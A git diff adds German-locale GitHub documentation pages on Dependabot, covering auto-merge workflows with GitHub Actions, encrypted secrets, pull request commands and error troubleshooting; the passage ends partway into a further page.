+        uses: dependabot/fetch-metadata@v1.1.1
+        with:
+          github-token: "${{ secrets.GITHUB_TOKEN }}"
+      - name: Approve a PR
+        run: gh pr review --approve "$PR_URL"
+        env:
+          PR_URL: ${{github.event.pull_request.html_url}}
+          GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}}
+```
+
+{% endraw %}
+
+{% endif %}
+
+### Enable auto-merge on a pull request
+
+If you want to allow maintainers to mark certain pull requests for auto-merge, you can use {% data variables.product.prodname_dotcom %}'s auto-merge functionality. This enables the pull request to be merged when any tests and approvals required by the branch protection rules are successfully met. For more information, see "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)."
+
+{% note %}
+
+**Note:** If you use status checks to test pull requests, you should enable **Require status checks to pass before merging** for the target branch for {% data variables.product.prodname_dependabot %} pull requests. This branch protection rule ensures that pull requests are not merged unless all the required status checks pass. For more information, see "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)."
+
+{% endnote %}
+
+You can instead use {% data variables.product.prodname_actions %} and the {% data variables.product.prodname_cli %}. Here is an example that auto merges all patch updates to `my-dependency`:
+
+{% ifversion ghes = 3.3 %}
+
+{% raw %}
+
+```yaml
+name: Dependabot auto-merge
+on: pull_request_target
+
+permissions:
+  contents: write
+  pull-requests: write
+  
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: ${{ github.actor == 'dependabot[bot]' }}
+    steps:
+      - name: Dependabot metadata
+        id: dependabot-metadata
+        uses: dependabot/fetch-metadata@v1.1.1
+        with:
+          github-token: "${{ secrets.GITHUB_TOKEN }}"
+      - name: Enable auto-merge for Dependabot PRs
+        if: ${{contains(steps.dependabot-metadata.outputs.dependency-names, 'my-dependency') && steps.dependabot-metadata.outputs.update-type == 'version-update:semver-patch'}}
+        run: gh pr merge --auto --merge "$PR_URL"
+        env:
+          PR_URL: ${{github.event.pull_request.html_url}}
+          GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}}
+```
+
+{% endraw %}
+
+{% else %}
+
+{% raw %}
+
+```yaml
+name: Dependabot auto-merge
+on: pull_request
+
+permissions:
+  contents: write
+  pull-requests: write
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: ${{ github.actor == 'dependabot[bot]' }}
+    steps:
+      - name: Dependabot metadata
+        id: metadata
+        uses: dependabot/fetch-metadata@v1.1.1
+        with:
+          github-token: "${{ secrets.GITHUB_TOKEN }}"
+      - name: Enable auto-merge for Dependabot PRs
+        if: ${{contains(steps.metadata.outputs.dependency-names, 'my-dependency') && steps.metadata.outputs.update-type == 'version-update:semver-patch'}}
+        run: gh pr merge --auto --merge "$PR_URL"
+        env:
+          PR_URL: ${{github.event.pull_request.html_url}}
+          GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}}
+```
+
+{% endraw %}
+
+{% endif %}
+
+## Troubleshooting failed workflow runs
+
+If your workflow run fails, check the following:
+
+{% ifversion ghes = 3.3 %}
+
+- You are running the workflow only when the correct actor triggers it.
+- You are checking out the correct `ref` for your `pull_request`.
+- You aren't trying to access secrets from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event.
+- You aren't trying to perform any `write` actions from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event.
+
+{% else %}
+
+- You are running the workflow only when the correct actor triggers it.
+- You are checking out the correct `ref` for your `pull_request`.
+- Your secrets are available in {% data variables.product.prodname_dependabot %} secrets rather than as {% data variables.product.prodname_actions %} secrets.
+- You have a `GITHUB_TOKEN` with the correct permissions.
+
+{% endif %}
+
+For information on writing and debugging {% data variables.product.prodname_actions %}, see "[Learning GitHub Actions](/actions/learn-github-actions)."
diff --git a/translations/de-DE/content/code-security/dependabot/working-with-dependabot/index.md b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/index.md
new file mode 100644
index 0000000000..e408b37ad2
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/index.md
@@ -0,0 +1,30 @@
+---
+title: Arbeiten mit Dependabot
+shortTitle: Work with Dependabot
+intro: "Anleitungen und Empfehlungen für die Arbeit mit {% data variables.product.prodname_dependabot %}, wie z.\_B. die Verwaltung von Pull Requests, die von {% data variables.product.prodname_dependabot %} ausgelöst wurden, die Verwendung von {% data variables.product.prodname_actions %} mit {% data variables.product.prodname_dependabot %} und die Behandlung von {% data variables.product.prodname_dependabot %}-Fehlern."
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+topics:
+  - Repositories
+  - Dependabot
+  - Version updates
+  - Security updates
+  - Dependencies
+  - Pull requests
+children:
+  - /managing-pull-requests-for-dependency-updates
+  - /automating-dependabot-with-github-actions
+  - /keeping-your-actions-up-to-date-with-dependabot
+  - /managing-encrypted-secrets-for-dependabot
+  - /troubleshooting-the-detection-of-vulnerable-dependencies
+  - /troubleshooting-dependabot-errors
+ms.openlocfilehash: efab6caf0c9384c9e72cc5ed1fe64bd500cede45
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108390'
+---
+
diff --git a/translations/de-DE/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md
new file mode 100644
index 0000000000..d6ffb64685
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md
@@ -0,0 +1,67 @@
+---
+title: Keeping your actions up to date with Dependabot
+intro: 'You can use {% data variables.product.prodname_dependabot %} to keep the actions you use updated to the latest versions.'
+redirect_from:
+  - /github/administering-a-repository/keeping-your-actions-up-to-date-with-github-dependabot
+  - /github/administering-a-repository/keeping-your-actions-up-to-date-with-dependabot
+  - /code-security/supply-chain-security/keeping-your-actions-up-to-date-with-dependabot
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Repositories
+  - Dependabot
+  - Version updates
+  - Actions
+shortTitle: Auto-update actions
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## About {% data variables.product.prodname_dependabot_version_updates %} for actions
+
+Actions are often updated with bug fixes and new features to make automated processes more reliable, faster, and safer. When you enable {% data variables.product.prodname_dependabot_version_updates %} for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dependabot %} will help ensure that references to actions in a repository's *workflow.yml* file are kept up to date. For each action in the file, {% data variables.product.prodname_dependabot %} checks the action's reference (typically a version number or commit identifier associated with the action) against the latest version. If a more recent version of the action is available, {% data variables.product.prodname_dependabot %} will send you a pull request that updates the reference in the workflow file to the latest version. For more information about {% data variables.product.prodname_dependabot_version_updates %}, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)." For more information about configuring workflows for {% data variables.product.prodname_actions %}, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+  
+{% data reusables.actions.workflow-runs-dependabot-note %}
+
+## Enabling {% data variables.product.prodname_dependabot_version_updates %} for actions
+
+You can configure {% data variables.product.prodname_dependabot_version_updates %} to maintain your actions as well as the libraries and packages you depend on. 
+
+1. If you have already enabled {% data variables.product.prodname_dependabot_version_updates %} for other ecosystems or package managers, simply open the existing *dependabot.yml* file. Otherwise, create a *dependabot.yml* configuration file in the `.github` directory of your repository. For more information, see "[Configuring Dependabot version updates](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates)."
+1. Specify `"github-actions"` as a `package-ecosystem` to monitor.
+1. Set the `directory` to `"/"` to check for workflow files in `.github/workflows`.
+1. Set a `schedule.interval` to specify how often to check for new versions.
+{% data reusables.dependabot.check-in-dependabot-yml %} If you have edited an existing file, save your changes.
+
+You can also enable {% data variables.product.prodname_dependabot_version_updates %} on forks. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates#enabling-version-updates-on-forks)."
+
+### Example *dependabot.yml* file for {% data variables.product.prodname_actions %}
+
+The example *dependabot.yml* file below configures version updates for {% data variables.product.prodname_actions %}. The `directory` must be set to `"/"` to check for workflow files in `.github/workflows`. The `schedule.interval` is set to `"weekly"`. After this file has been checked in or updated, {% data variables.product.prodname_dependabot %} checks for new versions of your actions. {% data variables.product.prodname_dependabot %} will raise pull requests for version updates for any outdated actions that it finds. After the initial version updates, {% data variables.product.prodname_dependabot %} will continue to check for outdated versions of actions once a week.
+
+```yaml
+# Set update schedule for GitHub Actions
+
+version: 2
+updates:
+
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      # Check for updates to GitHub Actions every week
+      interval: "weekly"
+```
+
+## Configuring {% data variables.product.prodname_dependabot_version_updates %} for actions
+
+When enabling {% data variables.product.prodname_dependabot_version_updates %} for actions, you must specify values for `package-ecosystem`, `directory`, and `schedule.interval`. There are many more optional properties that you can set to further customize your version updates. For more information, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates)."
+
+## Further reading
+
+- "[About GitHub Actions](/actions/getting-started-with-github-actions/about-github-actions)"
diff --git a/translations/de-DE/content/code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot.md b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot.md
new file mode 100644
index 0000000000..d3c87a52e1
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot.md
@@ -0,0 +1,90 @@
+---
+title: Managing encrypted secrets for Dependabot
+intro: 'You can store sensitive information, like passwords and access tokens, as encrypted secrets and then reference these in the {% data variables.product.prodname_dependabot %} configuration file.'
+redirect_from:
+  - /github/administering-a-repository/managing-encrypted-secrets-for-dependabot
+  - /code-security/supply-chain-security/managing-encrypted-secrets-for-dependabot
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Dependabot
+  - Version updates
+  - Secret store
+  - Repositories
+  - Dependencies
+shortTitle: Manage encrypted secrets
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+
+## About encrypted secrets for {% data variables.product.prodname_dependabot %}
+
+{% data variables.product.prodname_dependabot %} secrets are encrypted credentials that you create at either the organization level or the repository level.
+When you add a secret at the organization level, you can specify which repositories can access the secret. You can use secrets to allow {% data variables.product.prodname_dependabot %} to update dependencies located in private package registries. When you add a secret it's encrypted before it reaches {% data variables.product.prodname_dotcom %} and it remains encrypted until it's used by {% data variables.product.prodname_dependabot %} to access a private package registry.
+
+After you add a {% data variables.product.prodname_dependabot %} secret, you can reference it in the _dependabot.yml_ configuration file like this: {% raw %}`${{secrets.NAME}}`{% endraw %}, where "NAME" is the name you chose for the secret. For example: 
+
+{% raw %}
+```yaml
+password: ${{secrets.MY_ARTIFACTORY_PASSWORD}}
+```
+{% endraw %}
+
+For more information, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#configuration-options-for-private-registries)."
+
+### Naming your secrets
+
+The name of a {% data variables.product.prodname_dependabot %} secret:
+* Can only contain alphanumeric characters (`[A-Z]`, `[0-9]`) or underscores (`_`). Spaces are not allowed. If you enter lowercase letters these are changed to uppercase.
+* Must not start with the `GITHUB_` prefix.
+* Must not start with a number.
+
+## Adding a repository secret for {% data variables.product.prodname_dependabot %}
+
+{% data reusables.actions.permissions-statement-secrets-repository %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.dependabot.sidebar-secret %}
+1. Click **New repository secret**.
+1. Type a name for your secret in the **Name** input box.
+1. Enter the value for your secret.
+1. Click **Add secret**.
+
+   The name of the secret is listed on the Dependabot secrets page. You can click **Update** to change the secret value. You can click **Remove** to delete the secret.
+
+   ![Update or remove a repository secret](/assets/images/help/dependabot/update-remove-repo-secret.png)
+
+## Adding an organization secret for {% data variables.product.prodname_dependabot %}
+
+When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+
+{% data reusables.actions.permissions-statement-secrets-organization %}
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.dependabot.sidebar-secret %}
+1. Click **New organization secret**.
+1. Type a name for your secret in the **Name** input box.
+1. Enter the **Value** for your secret.
+1. From the **Repository access** dropdown list, choose an access policy.
+1. If you chose **Selected repositories**:
+
+   * Click {% octicon "gear" aria-label="The Gear icon" %}.
+   * Choose the repositories that can access this secret. 
+     ![Select repositories for this secret](/assets/images/help/dependabot/secret-repository-access.png)
+   * Click **Update selection**.
+
+1. Click **Add secret**.
+
+   The name of the secret is listed on the Dependabot secrets page. You can click **Update** to change the secret value or its access policy. You can click **Remove** to delete the secret.
+
+   ![Update or remove an organization secret](/assets/images/help/dependabot/update-remove-org-secret.png)
+   
+## Adding {% data variables.product.prodname_dependabot %} to your registries IP allow list
+
+If your private registry is configured with an IP allow list, you can find the IP addresses {% data variables.product.prodname_dependabot %} uses to access the registry in the meta API endpoint, under the `dependabot` key. For more information, see "[Meta](/rest/reference/meta)."
diff --git a/translations/de-DE/content/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates.md b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates.md
new file mode 100644
index 0000000000..349af2dd14
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates.md
@@ -0,0 +1,70 @@
+---
+title: Managing pull requests for dependency updates
+intro: 'You manage pull requests raised by {% data variables.product.prodname_dependabot %} in much the same way as other pull requests, but there are some extra options.'
+redirect_from:
+  - /github/administering-a-repository/managing-pull-requests-for-dependency-updates
+  - /code-security/supply-chain-security/managing-pull-requests-for-dependency-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '> 3.2'
+type: how_to
+topics:
+  - Repositories
+  - Version updates
+  - Security updates
+  - Pull requests
+  - Dependencies
+  - Vulnerabilities
+shortTitle: Manage Dependabot PRs
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## About {% data variables.product.prodname_dependabot %} pull requests
+
+{% data reusables.dependabot.pull-request-introduction %}
+
+When {% data variables.product.prodname_dependabot %} raises a pull request, you're notified by your chosen method for the repository. Each pull request contains detailed information about the proposed change, taken from the package manager. These pull requests follow the normal checks and tests defined in your repository. 
+{% ifversion fpt or ghec %}In addition, where enough information is available, you'll see a compatibility score. This may also help you decide whether or not to merge the change. For information about this score, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."{% endif %}
+
+If you have many dependencies to manage, you may want to customize the configuration for each package manager so that pull requests have specific reviewers, assignees, and labels. For more information, see "[Customizing dependency updates](/github/administering-a-repository/customizing-dependency-updates)."
+
+## Viewing {% data variables.product.prodname_dependabot %} pull requests
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-pr %}
+1. Any pull requests for security or version updates are easy to identify.
+    - The author is {% ifversion fpt or ghec %}[dependabot](https://github.com/dependabot){% else %}dependabot{% endif %}, the bot account used by {% data variables.product.prodname_dependabot %}.
+    - By default, they have the `dependencies` label.
+
+## Changing the rebase strategy for {% data variables.product.prodname_dependabot %} pull requests
+
+By default, {% data variables.product.prodname_dependabot %} automatically rebases pull requests to resolve any conflicts. If you'd prefer to handle merge conflicts manually, you can disable this using the `rebase-strategy` option. For details, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#rebase-strategy)."
+
+## Allowing {% data variables.product.prodname_dependabot %} to rebase and force push over extra commits
+
+By default, {% data variables.product.prodname_dependabot %} will stop rebasing a pull request once extra commits have been pushed to it. To allow {% data variables.product.prodname_dependabot %} to force push over commits added to its branches, include any of the following strings: `[dependabot skip]` , `[skip dependabot]`, `[dependabot-skip]`, or `[skip-dependabot]`, in either lower or uppercase, to the commit message.
+
+## Managing {% data variables.product.prodname_dependabot %} pull requests with comment commands
+
+{% data variables.product.prodname_dependabot %} responds to simple commands in comments. Each pull request contains details of the commands you can use to process the pull request (for example: to merge, squash, reopen, close, or rebase the pull request) under the "{% data variables.product.prodname_dependabot %} commands and options" section. The aim is to make it as easy as possible for you to triage these automatically generated pull requests.
+
+You can use any of the following commands on a {% data variables.product.prodname_dependabot %} pull request.
+
+- `@dependabot cancel merge` cancels a previously requested merge.
+- `@dependabot close` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from recreating that pull request. You can achieve the same result by closing the pull request manually.
+- `@dependabot ignore this dependency` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from creating any more pull requests for this dependency (unless you reopen the pull request or upgrade to the suggested version of the dependency yourself).
+- `@dependabot ignore this major version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from creating any more pull requests for this major version (unless you reopen the pull request or upgrade to this major version yourself).
+- `@dependabot ignore this minor version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from creating any more pull requests for this minor version (unless you reopen the pull request or upgrade to this minor version yourself).
+- `@dependabot merge` merges the pull request once your CI tests have passed.
+- `@dependabot rebase` rebases the pull request.
+- `@dependabot recreate` recreates the pull request, overwriting any edits that have been made to the pull request.
+- `@dependabot reopen` reopens the pull request if the pull request is closed.
+- `@dependabot squash and merge` squashes and merges the pull request once your CI tests have passed.
+
+{% data variables.product.prodname_dependabot %} will react with a "thumbs up" emoji to acknowledge the command, and may respond with a comment on the pull request. While {% data variables.product.prodname_dependabot %} usually responds quickly, some commands may take several minutes to complete if {% data variables.product.prodname_dependabot %} is busy processing other updates or commands.
+
+If you run any of the commands for ignoring dependencies or versions, {% data variables.product.prodname_dependabot %} stores the preferences for the repository centrally. While this is a quick solution, for repositories with more than one contributor it is better to explicitly define the dependencies and versions to ignore in the configuration file. This makes it easy for all contributors to see why a particular dependency isn't being updated automatically. For more information, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#ignore)."
diff --git a/translations/de-DE/content/code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors.md b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors.md
new file mode 100644
index 0000000000..2c35207247
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors.md
@@ -0,0 +1,153 @@
+---
+title: Troubleshooting Dependabot errors
+intro: 'Sometimes {% data variables.product.prodname_dependabot %} is unable to raise a pull request to update your dependencies. You can review the error and unblock {% data variables.product.prodname_dependabot %}.'
+shortTitle: Troubleshoot errors
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/managing-security-vulnerabilities/troubleshooting-github-dependabot-errors
+  - /github/managing-security-vulnerabilities/troubleshooting-dependabot-errors
+  - /code-security/supply-chain-security/troubleshooting-dependabot-errors
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Dependabot
+  - Security updates
+  - Version updates
+  - Repositories
+  - Pull requests
+  - Troubleshooting
+  - Errors
+  - Dependencies
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## About {% data variables.product.prodname_dependabot %} errors
+
+{% data reusables.dependabot.pull-request-introduction %}
+
+If anything prevents {% data variables.product.prodname_dependabot %} from raising a pull request, this is reported as an error.
+
+## Investigating errors with {% data variables.product.prodname_dependabot_security_updates %}
+
+When {% data variables.product.prodname_dependabot %} is blocked from creating a pull request to fix a {% data variables.product.prodname_dependabot %} alert, it posts the error message on the alert. The {% data variables.product.prodname_dependabot_alerts %} view shows a list of any alerts that have not been resolved yet. To access the alerts view, click **{% data variables.product.prodname_dependabot_alerts %}** on the **Security** tab for the repository. Where a pull request that will fix the vulnerable dependency has been generated, the alert includes a link to that pull request.
+
+![{% data variables.product.prodname_dependabot_alerts %} view showing a pull request link](/assets/images/help/dependabot/dependabot-alert-pr-link.png)
+
+There are several reasons why an alert may have no pull request link:
+
+1. {% data variables.product.prodname_dependabot_security_updates %} are not enabled for the repository.
+{% ifversion GH-advisory-db-supports-malware %}
+1. The alert is for malware and there is no secure version of the package.
+{% endif %}
+1. The alert is for an indirect or transitive dependency that is not explicitly defined in a lock file.
+1. An error blocked {% data variables.product.prodname_dependabot %} from creating a pull request.
+
+If an error blocked {% data variables.product.prodname_dependabot %} from creating a pull request, you can display details of the error by clicking the alert.
+
+## Investigating errors with {% data variables.product.prodname_dependabot_version_updates %}
+
+When {% data variables.product.prodname_dependabot %} is blocked from creating a pull request to update a dependency in an ecosystem, it posts the error icon on the manifest file. The manifest files that are managed by {% data variables.product.prodname_dependabot %} are listed on the {% data variables.product.prodname_dependabot %} tab. To access this tab, on the **Insights** tab for the repository click **Dependency graph**, and then click the **{% data variables.product.prodname_dependabot %}** tab.
+
+![{% data variables.product.prodname_dependabot %} view showing an error](/assets/images/help/dependabot/dependabot-tab-view-error.png)
+
+{% ifversion fpt or ghec %}
+
+To see the log file for any manifest file, click the **Last checked TIME ago** link. When you display the log file for a manifest that's shown with an error symbol (for example, Maven in the screenshot above), any errors are also displayed.
+
+![{% data variables.product.prodname_dependabot %} version update error and log ](/assets/images/help/dependabot/dependabot-version-update-error.png)
+
+{% else %}
+
+To see the logs for any manifest file, click the **Last checked TIME ago** link, and then click **View logs**.
+
+![{% data variables.product.prodname_dependabot %} version update error and log ](/assets/images/enterprise/3.3/dependabot/dependabot-version-update-error.png)
+
+{% endif %}
+
+## Understanding {% data variables.product.prodname_dependabot %} errors
+
+Pull requests for security updates act to upgrade a vulnerable dependency to the minimum version that includes a fix for the vulnerability. In contrast, pull requests for version updates act to upgrade a dependency to the latest version allowed by the package manifest and {% data variables.product.prodname_dependabot %} configuration files. Consequently, some errors are specific to one type of update.
+
+### {% data variables.product.prodname_dependabot %} cannot update DEPENDENCY to a non-vulnerable version
+
+**Security updates only.** {% data variables.product.prodname_dependabot %} cannot create a pull request to update the vulnerable dependency to a secure version without breaking other dependencies in the dependency graph for this repository.
+
+Every application that has dependencies has a dependency graph, that is, a directed acyclic graph of every package version that the application directly or indirectly depends on. Every time a dependency is updated, this graph must resolve otherwise the application won't build. When an ecosystem has a deep and complex dependency graph, for example, npm and RubyGems, it is often impossible to upgrade a single dependency without upgrading the whole ecosystem.
+
+The best way to avoid this problem is to stay up to date with the most recently released versions, for example, by enabling version updates. This increases the likelihood that a vulnerability in one dependency can be resolved by a simple upgrade that doesn't break the dependency graph. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."{% ifversion dependabot-security-updates-unlock-transitive-dependencies %}
+
+### {% data variables.product.prodname_dependabot %} tries to update dependencies without an alert
+
+**Security updates only.** {% data variables.product.prodname_dependabot %} updates explicitly defined transitive dependencies that are vulnerable for all ecosystems. For npm, {% data variables.product.prodname_dependabot %} will raise a pull request that also updates the parent dependency if it's the only way to fix the transitive dependency.
+
+For example, a project with a dependency on `A` version `~2.0.0` which has a transitive dependency on `B` version `~1.0.0` which has resolved to `1.0.1`.
+```
+my project
+|
+--> A (2.0.0) [~2.0.0]
+       |
+       --> B (1.0.1) [~1.0.0]
+```       
+If a security vulnerability is released for `B` versions `<2.0.0` and a patch is available at `2.0.0` then  {% data variables.product.prodname_dependabot %} will attempt to update `B` but will find that it's not possible due to the restriction in place by `A` which only allows lower vulnerable versions. To fix the vulnerability, {% data variables.product.prodname_dependabot %} will look for updates to dependency `A` which allow the fixed version of `B` to be used. 
+
+{% data variables.product.prodname_dependabot %} automatically generates a pull request that upgrades both the locked parent and child transitive dependencies.{% endif %}
+
+### {% data variables.product.prodname_dependabot %} cannot update to the required version as there is already an open pull request for the latest version
+
+**Security updates only.** {% data variables.product.prodname_dependabot %} will not create a pull request to update the vulnerable dependency to a secure version because there is already an open pull request to update this dependency. You will see this error when a vulnerability is detected in a single dependency and there's already an open pull request to update the dependency to the latest version.
+
+There are two options: you can review the open pull request and merge it as soon as you are confident that the change is safe, or close that pull request and trigger a new security update pull request. For more information, see "[Triggering a {% data variables.product.prodname_dependabot %} pull request manually](#triggering-a-dependabot-pull-request-manually)."
+
+### {% data variables.product.prodname_dependabot %} timed out during its update
+
+{% data variables.product.prodname_dependabot %} took longer than the maximum time allowed to assess the update required and prepare a pull request. This error is usually seen only for large repositories with many manifest files, for example, npm or yarn monorepo projects with hundreds of *package.json* files. Updates to the Composer ecosystem also take longer to assess and may time out.
+
+This error is difficult to address. If a version update times out, you could specify the most important dependencies to update using the `allow` parameter or, alternatively, use the `ignore` parameter to exclude some dependencies from updates. Updating your configuration might allow {% data variables.product.prodname_dependabot %} to review the version update and generate the pull request in the time available.
+
+If a security update times out, you can reduce the chances of this happening by keeping the dependencies updated, for example, by enabling version updates. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."
+
+### {% data variables.product.prodname_dependabot %} cannot open any more pull requests
+
+There's a limit on the number of open pull requests {% data variables.product.prodname_dependabot %} will generate. When this limit is reached, no new pull requests are opened and this error is reported. The best way to resolve this error is to review and merge some of the open pull requests.
+
+There are separate limits for security and version update pull requests, so that open version update pull requests cannot block the creation of a security update pull request. The limit for security update pull requests is 10. By default, the limit for version updates is 5 but you can change this using the `open-pull-requests-limit` parameter in the configuration file. For more information, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#open-pull-requests-limit)."
+
+The best way to resolve this error is to merge or close some of the existing pull requests and trigger a new pull request manually. For more information, see "[Triggering a {% data variables.product.prodname_dependabot %} pull request manually](#triggering-a-dependabot-pull-request-manually)."
+
+### {% data variables.product.prodname_dependabot %} can't resolve or access your dependencies
+
+If {% data variables.product.prodname_dependabot %} attempts to check whether dependency references need to be updated in a repository, but can't access one or more of the referenced files, the operation will fail with the error message "{% data variables.product.prodname_dependabot %} can't resolve your LANGUAGE dependency files." The API error type is `git_dependencies_not_reachable`.
+
+Similarly, if {% data variables.product.prodname_dependabot %} can't access a private package registry in which a dependency is located, one of the following errors is generated:
+
+*	"Dependabot can't reach a dependency in a private package registry"<br>
+   (API error type: `private_source_not_reachable`)
+*	"Dependabot can't authenticate to a private package registry"<br>
+   (API error type:`private_source_authentication_failure`)
+*	"Dependabot timed out while waiting for a private package registry"<br>
+   (API error type:`private_source_timed_out`)
+*	"Dependabot couldn't validate the certificate for a private package registry"<br>
+   (API error type:`private_source_certificate_failure`)
+
+To allow {% data variables.product.prodname_dependabot %} to update the dependency references successfully, make sure that all of the referenced dependencies are hosted at accessible locations. 
+
+**Version updates only.** {% data reusables.dependabot.private-dependencies-note %} Additionally, {% data variables.product.prodname_dependabot %} doesn't support private {% data variables.product.prodname_dotcom %} dependencies for all package managers. For more information, see "[About Dependabot version updates](/github/administering-a-repository/about-dependabot-version-updates#supported-repositories-and-ecosystems)."
+
+## Triggering a {% data variables.product.prodname_dependabot %} pull request manually
+
+If you unblock {% data variables.product.prodname_dependabot %}, you can manually trigger a fresh attempt to create a pull request.
+
+- **Security updates**—display the {% data variables.product.prodname_dependabot %} alert that shows the error you have fixed and click **Create {% data variables.product.prodname_dependabot %} security update**.
+- **Version updates**—on the **Insights** tab for the repository click **Dependency graph**, and then click the **Dependabot** tab. Click **Last checked *TIME* ago** to see the log file that {% data variables.product.prodname_dependabot %} generated during the last check for version updates. Click **Check for updates**.
+
+## Further reading
+
+- "[Troubleshooting the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph)"
+- "[Troubleshooting the detection of vulnerable dependencies](/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies)"
diff --git a/translations/de-DE/content/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies.md b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies.md
new file mode 100644
index 0000000000..725554270a
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies.md
@@ -0,0 +1,99 @@
+---
+title: Troubleshooting the detection of vulnerable dependencies
+intro: 'If the dependency information reported by {% data variables.product.product_name %} is not what you expected, there are a number of points to consider, and various things you can check.'
+shortTitle: Troubleshoot vulnerability detection
+redirect_from:
+  - /github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies
+  - /code-security/supply-chain-security/troubleshooting-the-detection-of-vulnerable-dependencies
